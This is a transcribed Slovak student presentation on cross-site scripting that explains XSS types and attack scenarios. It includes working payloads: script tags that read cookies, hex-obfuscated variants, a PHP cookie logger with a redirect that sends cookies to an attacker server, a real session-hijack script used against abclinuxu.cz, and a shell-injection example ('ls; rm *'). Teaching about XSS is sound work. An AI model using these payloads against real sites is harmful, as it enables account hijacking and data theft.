1 / 29

XSS (Cross-site scripting)

XSS (Cross-site scripting). Mat úš Knut. Teória (1). XSS je dnes plnohodnotný typ útoku, predstavuje skutočné nebezpečenstvo pri portáloch s osobnými/platobnými údajmi (paypal, ebay ...).

myrrh
Download Presentation

XSS (Cross-site scripting)

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. XSS (Cross-site scripting) Matúš Knut

  2. Teória (1) • XSS je dnes plnohodnotný typ útoku, predstavuje skutočné nebezpečenstvo pri portáloch s osobnými/platobnými údajmi (paypal, ebay ...). • Najväčšou prekážkou XSS útoku je transport kódu k obeti, ale v dobe kedy ľudia klikajú na každú prílohu v e-maily je to problém minimálny. • do vstupu na webstránke sa vkladá (škodlivý) kód • statické webstranky - plná kontrola nad tým, ako ich prehliadac interpretuje • dynamicky tvorený obsah takúto kontrolu neposkytuje • problem je moznost vloženia škodlivého kódu, ktorý je následne vložený do výstupného kódu bez toho, aby mal navstevnik info o tom, čo sa deje ( CERT Coordination Center ) • pomocou client-side skriptov (JavaScript) sa pri zobrazovaní dynamickej stránky spustí – vykoná akciu (napr. získať údaje z cookies obete)

  3. Teória (2) • doležité kontrolovať, či premenná nebola podvrhnutá • uvedomiť si, či sú údaje odosielané metódou GET alebo POST, pretože ich hodnoty sa nastavia do premenných zodpovedajúcich názvu parametra - potenciálne nebezpečenstvo (defaultne je nastavené “register_globals = off“). • Preto sa silne odporuca pouzivat na pristup k parametrom zasadne tieto polia: • $_GET["var1"] // pre parameter var1 predaný metódou GET • $_POST["var2"] // pre var2 predaný metódou POST • $_SESSION["var3"] // pre premennu var3, ktora je súčsťou relácie

  4. Príklady • Obyčajný php script - útočník vloží za obsah premennej meno napriklad toto: . • malou úpravou kódu, môžme dosiahnuť presmerovanie na inú stránku (JS je na takéto účely ako rodený:) • príklad2: formulár pomocou metódy GET odošle premennú príkaz a kód vyzerá takto: exec”man $prikaz”; Ak zadáme príkaz ls a výsledný string bude vyzerať: “man ls“. Ak ako premennu $prikaz zadáme napr. "ls; rm *"? Aj takto sa môže vytvoriť veľmi nebezpečná aplikacia.

  5. Rozdelenie • Typ 0 Local (Lokálny) • Typ 1 nestály (non-persistant) • Typ 2 stály (persistant)

  6. Typ 0 Local (Lokálny) • najzákladnejšia forma XSS • taktiež sa označuje ako DOM-based (založené na objektovom modele dokumentu) • pri tejto forme je kód spustený na strane klienta (client-side), kedy sa využíva časť JavaScript kódu namiesto parametra v URL a práve za pomoci JavaScriptu je stránka zmenená (infikovaná) novým kódom (stále na strane klienta), ktorý sa vykoná okamžite po inicializácii browserom obete • brániť sa tomuto typu dá v prehliadači firefox za pomoci NoScript pluginu, ktorého tvorca sleduje aktuálne trendy v týchto technikách a updatuje svoj plugin pre zvýšenie ochrany jeho používateľmi

  7. Scénar útoku pre typ 0 • Útočník nájde XSS dieru a pošle upravenú URL linku s nebezpečným kódom Martine (za pomoci emailu, IM alebo inou formou komunikácie) • Martina otvorí linku • Infikovaná web stránka otvorí a načíta za pomoci JavaScriptu útočníkovú stránku so zlým kódom • Stránka spustí tento kód a nebezpečný skript získa práva Martiny • Nebezpečný kód teraz môže spúšťať príkazy s právami Martiny na jej vlastnom PC

  8. Príklad • Majiteľ stránky http://www.vulnerable.site/welcome.html má na stránke takýto kód <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our system … </HTML>

  9. Pokračovanie • Vďaka tomuto kódu by Request URL vyzerala takto: http://www.vulnerable.site/welcome.html?name=Janko • a teda nový kód útočníka by bol http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script> • následkom je vyskočenie varovného okna, kde by boli vypísané cookies uložené browserom obete • <script src="http://www.attacker.foo/xss.js"></script> • <IMG SRC=javascript:alert('XSS')> • <IMG """><SCRIPT>alert("XSS")</SCRIPT>">

  10. Typ 1 nestály (non-persistant) • doslovne ne-trvalý, normálne dočasný • najmenej nebezpečná z dôvodu, že útočník spolu s nebezpečným kódom musí použiť aj tzv. social engineering (sociálne inžinierstvo) • princíp – využíva sa dynamicky generovaný obsah na základe užívateľskej aktivity (AJAX, AJAJ atď.) spolu s predpokladom, že stránka neošetruje dáta premenouHTML kódu na entity, ale umožňuje priame zadanie kódu, ktoré je pri vygenerovaní interpretované a vykonané užívateľovým prehliadačom a takto umožní útočníkovi prístup k citlývim dátam ako sú napríklad Cookies alebo Sessions • tento útok práve kvôli nutnosti použitia veľkej dávky social engineeringu nie je považovaný väčšinou vývojarov za príliš nebezpečný

  11. Scénar útoku pre typ 1 • Martina navštívi Janovu stránku ktorá jej umožňí prihlásiť sa pod menom a heslom a vyplniť osobné údaje • Útočník zistí že Janová stránka je infikovateľná za pomocou XSS • Útočník aplikuje nebezpečný kód a na Martinin email pošle správu, ktorá vyzerá ako keby prišla z Petrovej stránky (email je spoofnutý) • Martina otvorí linku ktorá bola uvedená v emaily • Linka infikovaná nebezpečným kódom sa z inicializuje a ukradne citlivé dáta (cookies, informácie o kreditných kartách, atď)

  12. Príklad zo soom • Máme stránku, o ktorej si myslíme, že na nej može byť xss: www.nasastranka.sk/search.php?premenna=nejakytext • Search preto, lebo n-p xss sa najčastejšie vyskytuje na stránkach s vyhladávaním • Skúsime v url zmeniť "nejakytext" na <script>alert(10)</script> • Ak je stránka náchylná na xss tak na nás vyskočí javascriptové okno s hlásením 10.

  13. Pokračovanie • Skúsme teraz do url napísať <script>alert("XSS")</script> • Ak na nás vyskočí okno s nápisom xss znamená to, že stránka nefiltruje úvodzovky a môžme do alertu vypísať aj text. • Takže keď do okna vypíšeme "HACKED BY VASEMENO" a posleme url kamarátovi ktorý sa v tom vôbec nevyzná bude mysliet že si tu stránku ste hackli vy:) • XSS môžme využiť aj nasledovne: • www.nasastranka.sk/search.php?premenna=http://nasweb.sk/zakernyskript.js • Obsah nášho zákerného skriptu môže napr. zmeniť html kod stranky, môžme prostredníctvom neho ukradnúť cookies, alebo ak chcete niekomu poriadne zneprijemniť život, tak môže obsahovať tisíc alertov:)

  14. Typ 2 stály (persistant) • umožňuje najsilnejší typ útoku (infikuje najviac obetí). Taktiež sa označuje ako HTML injection (infikovanie HTML), pričom nebezpečný kód stačí použiť len raz. • nutné použiť malé množstvo social engineeringu (zaujímavý odkaz, ktorý donúti ľudí si otvoriť linku) • využíva sa uschovanie nebezpečného kódu na strane serveru napríklad v databáze, vstup ani výstup nie je ošetrovaný za pomoci premeny HTML kódu na entity. • najbežnejším príkladom sú tzv. guestbooky, kedy nie je vstup ani výstup chránený proti HTML injection a tak sa nebezpečný kód automaticky interpretuje pri vygenerovaní stránky až do odstránenia majiteľom.

  15. Typ 2 stály (persistant) • útočník pre zber dát nepotrebuje vlastnú stránku, stačí mu využiť napríklad logovanie do súboru na infikovanom serveri, email alebo inú formu pre dočasné uloženie výsledkov. • Presistent xss je problém fór, návštevních kníh atd. Spočíva v tom, že údaje, ktoré vložíme sa zapíšu do súboru alebo do databázy a pri každom načítaní stránky sa nami vložený kód vykoná. Keď napr. vložíme alert, tento alert vyskočí každému kto si stránku otvorí.Akebo napr. vložíme xss ktorý bude kradnúť cookies do nejakého často navštevovaného threadu na fóre ukradne cookies každému užívateľovi ktorý si bude správu prečítať. Je to vlastne to isté ako n-p len to tam uvidí každý a nielen vy:)

  16. Scénar útoku pre typ 2 • Peter má stránku, ktorá umožňuje ostatným pridávať textové odkazy (guestbook) a tie následne zobrazuje. • Útočník zistí, že Petrova stránka je napadnuteľná XSS typu 2 • Útočník pridá správu so zaujímavým obsahom a nebezpečným kódom na ktorú by mohol nalákať najviac obetí (veľmi bežne sa uvádzajú linky na "bezplatné porno") • V prípade, že užívatelia kliknú na tento odkaz, nebezpečný kód začne zbierať citlivé dáta bez vedomia obetí. • Útočník si prezie svoje logy ukradnutých dát a využije ich.

  17. Ďalšie útoky pomocou XSS

  18. Príklad 1 • Môže napríklad ukradnúť tzv. „account hijacking“, vďaka ktorej sa útočník môže nalogovať do účtu obeti. • Ako sa dostane script k obeti? • Script v URL sa dá rôznymi spôsobmi maskovať. • 1. Prevedením scriptu do šestnástkovej sústavy. URL potom môže vyzerať takto • http://www.stranka.sk/hladat.php?najdi= %3C%73%63%72%69%70%74%20%73%72%63%3D%5C%22%68%74 %74%70%73%3A%2F%2F%77%77%77%2E%75%74%6F%63%6E%69 %6B%6F%76%77%65%62%2E%73%6B%20%2F%78%73%73%2E%6A %73%5C%22%3E%3C%2F%73%63%72%69%70%74%3E • 2. Upravením URL nasledovne: <img src="adresar/obrazok.jpg"style= background:url(javascript:alert(123))>

  19. Príklad 2 • Nájdeme si web na ktorom je možne previesť tento útok. http://www.anypage.com/contact.php?&name=1&email=1&enquiry= <script>alert('xss');</script> • Na našom serveri si vytvoríme súbor xss.php • <?php $f = fopen("data.txt", "a"); fwrite($f,"IP:{$_SERVER['REMOTE_ADDR']} Ref:{$_SERVER['HTTP_REFERER']} Cookie:{$HTTP_GET_VARS['c']}\n"); fclose($f); ?>

  20. Príklad 2 • Upravíme URL • http://www.anypage.com/contact.php?&name=1&email=1&enquiry= <script>document.location=‘http://www.nasserver.sk/xss.php ?c=‘+document.cookie</scriptgt; • Script prevedieme do hexadecimálnej sústavy • www.anypage.com/contact.php?&name=1&email=1&enquiry= %3C%73%63%72%69%70%74%3E%20%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%20%E2%80%98%68%74%74%70%3A%2F%2F%77%77%77%2E%6E%61%73%73%65%72%76%65%72%2E%73%6B%2F%78%73%73%2E%70%68%70%3F%63%3D%E2%80%98%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69 %70%74%3E • Upravený link pošleme adminovi a počkáme si kým sa na našej stránke http://nasserver.sk/data.txt zobrazí „cookie hijacking“ človeka, ktorému sme poslali náš link. Po získanie cookie, ktorá môže vyzerat takto 747d42f41702345ded793d16d2169ef3 je treba získane informácie použiť.

  21. Maskovanie • V prípade, že do vstupu nemožeme písať úvodzovky a väčšina blokuje aj <script></script> , môžeme celý kód zakódovať do hexa kódu.Kód <script>alert(10)</script> by potom vyzeral nasledovne: • %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%30%29%3C%2F%73%63%72%69%70%74%3E • Maskovať môžeme aj inými spôsobmi napr. napísaním "> pred kód.Tag, ktorý je pred tým sa tak ukončí a vykoná sa XSS.

  22. Príklad použitia XSS + Session hijacking na abclinuxu.cz • Abclinuxu.cz sa proti XSS chráni metódou 'whitelisting': Má zoznam povolených HTML tagov a ku každému zoznam povolených argumentov. Všetko ostatné je zakázané. Jedná sa o najúčinnejšiu, avšak z programátorského hľadiska aj najzložitejšiu metódu - celý vstup je potrebné najskôr rozparsovať a následne odfiltrovať 'to zakázané', pričom treba pamätať na kopu iných detailov a drobností (ktoré sú bohužial/naštastie mimo tohto článku). Práve na spomínanom parsovaní abclinuxu zlyhalo. • Parser sa mi podarilo oklamať týmto HTML kódom: • <<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="TU BOL JAVASCRIPT">> • Poznámka: Obrázok musí odkazovať na existujúci súbor/URL, inak sa obsah argumentu 'onload' nevykoná.

  23. Príklad použitia XSS + Session hijacking na abclinuxu.cz 2 • Dôležité sú prvé dva znaky, resp. zdvojenie znaku 'je menšie ako', čo spôsobilo nesprávne vyhodnotenie argumentov tagu <IMG>. SESSION_ID som následne získal takto (na abclinuxu sa ukladá do cookie s názvom 'JSESSIONID'): var cookie = ''; var part_num = 0; var cookie_var = document.cookie.split('; '); while (part_num < cookie_var.length) { if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') { cookie = cookie_var[part_num].split('=')[1]; break; } part_num += 1; }

  24. Príklad použitia XSS + Session hijacking na abclinuxu.cz 3 • Jediný problém, ktorý som v tejto chvíli musel ešte vyriešiť, bol spôsob 'dopravenia' tohto ID až ku mne. Na zaslanie ID som mohol použiť iba skripty, ktoré boli priamo súčasťou abclinuxu. Zameral som sa teda na formulár pre odosielanie mailov, ktorý abclinuxu obsahuje. Je na ňom síce ochrana v podobe nutnosti zadať serverom vygenerovaný kód pred odoslaním mailu, avšak jeho obídenie by zvládlo aj malé dieta. Následne vznikol tento kód (trochu skrátený): xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224'); xmlhttp.send(''); var pole = xmlhttp.responseText.split(' '); var kod = ''; var part_num = 0; while (part_num < pole.length) { if (pole[part_num] == 'hodnotu') { kod = pole[part_num+1].substring(0,4); break;} part_num += 1;}

  25. Príklad použitia XSS + Session hijacking na abclinuxu.cz 4 • xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish'); • xmlhttp.send(''); • Najkôr sa pripojím na 'mailový formulár', príjmem HTML stránku vrátenú serverom a následne v nej nájdem overovací kód. Potom ho už len použijem na odoslanie mailu. A ID je moje!

  26. Príklad použitia XSS + Session hijacking na abclinuxu.cz 5 • Priebeh samotného útoku • Zápis v blogu som publikoval včera (23.07.2007) o 10:00 ráno pričom doslova ihneď sa mi na maili začali množiť SESSION_ID-čka rôznych ľudí. O cca 10:10 mi došlo ID Roberta Krátkeho (admin, plný prístup) a o 10:30 som JavaScript z blogu odstránil a útok tým ukončil. Ako bonus prikladám obrázky z administračného rozhrania (príloha B). Za týchto 30 minút som sa dostal na kontá cca 150tich ľudí. • Záver • Rád by som upozornil, že môj kód v žiadnom prípade nie je dokonalý. Je to prakticky len cca tretí prípad, keby som sa vo svojom živote stretol s JavaScriptom. Odpustite si preto prosím všetky poznámky smerujúce k nemu a prípadne aj jeho opravy/vylepšenia. Ďakujem. Chyba je už v tejto chvíli (dúfajme, že úplne) odstránená a všetci používatelia, ktorí v hore uvedenom čase zápis v blogu otvorili, by sa mali odhlasiť a znovu prihlásiť (vygeneruje sa im tak nové SESSION_ID, staré bude teda už nepoužiteľné).

  27. Zraniteľné stránky • Spoločnosi a stránky zraniteľné voči XSS: Altavista, MSN, Adobe, Yahoo, Dicrosoft, Dell, HP, F5, Acunetix, MySpace atd. • Dokazuje to aj XSS objavený na stránkach Youtube, ktorý odstránili za necelých 26 minút od nahlásenia. • Slovenské weby vs. XSS: Chyby boli nájdené na popredných weboch Bleskovky.sk, Zoznam.sk, serveroch skupiny SME, televízie JOJ, Atlas.sk, Centrum.sk, časopisu PC Revue.

  28. Použitá literatúra • http://www.zive.sk/default.aspx?server=1&article=275941 • http://sk.zone-h.org/content/view/290/1/ • http://blog.synopsi.com/2007-12-20/google-orkut-pod-palbou-xss-cerva • http://www.abclinuxu.cz/blog/zatial_bez_mena/2007/7/xss-plus-session-hijacking-hack-abclinuxu.cz • http://www.luzer.sk/php-script-injection-xss • http://www.soom.cz/index.php?name=usertexts/show&aid=606 • http://blog.synopsi.com/2007-12-12/najpopularnejsie-utoky-xss-a-csrf-na-vyslni • http://www.soom.cz/index.php?name=usertexts/show&aid=365

  29. Ďakujem za pozornosť

More Related